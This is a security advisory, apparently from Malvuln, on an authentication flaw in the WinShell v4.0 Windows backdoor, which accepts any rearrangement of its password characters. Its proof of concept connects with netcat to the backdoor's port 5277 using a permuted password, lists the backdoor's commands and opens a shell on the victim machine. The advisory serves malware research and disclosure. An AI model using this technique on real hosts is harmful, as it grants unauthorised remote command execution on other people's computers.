Backdoor.Win32.WinShell.40 / Authentication Bypass Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/83fe2cc7aedc452d71c751053a2112c4.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Authentication Bypass Command Execution
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and
allows for setting a password for remote access. However, after setting the
password any combination of the characters used for the password will allow
access. E.g. if the password is set to "abc123"  interestingly the chars
"eutn" allows access. Also, password combinations like: abc321, 321abc,
132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213,
ab1c23 will also authenticate successfully. Sometimes when attempting to
authenticate with a derived password and it fails, try it again and boom it
works!
Type: PE32
MD5: 83fe2cc7aedc452d71c751053a2112c4
Vuln ID: MVID-2021-0278
Disclosure: 07/03/2021

Exploit/PoC:
Set password to Malvuln123

nc64.exe x.x.x.x 5277
Password:Malvunl321

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>?

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:UsersVictimDesktop>whoami
whoami
desktop-2c3iqhovictim

AND

nc64.exe x.x.x.x 5277
Password:laMvuln123

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>

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"as-is" with no warranties or guarantees of fitness of use or otherwise.
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provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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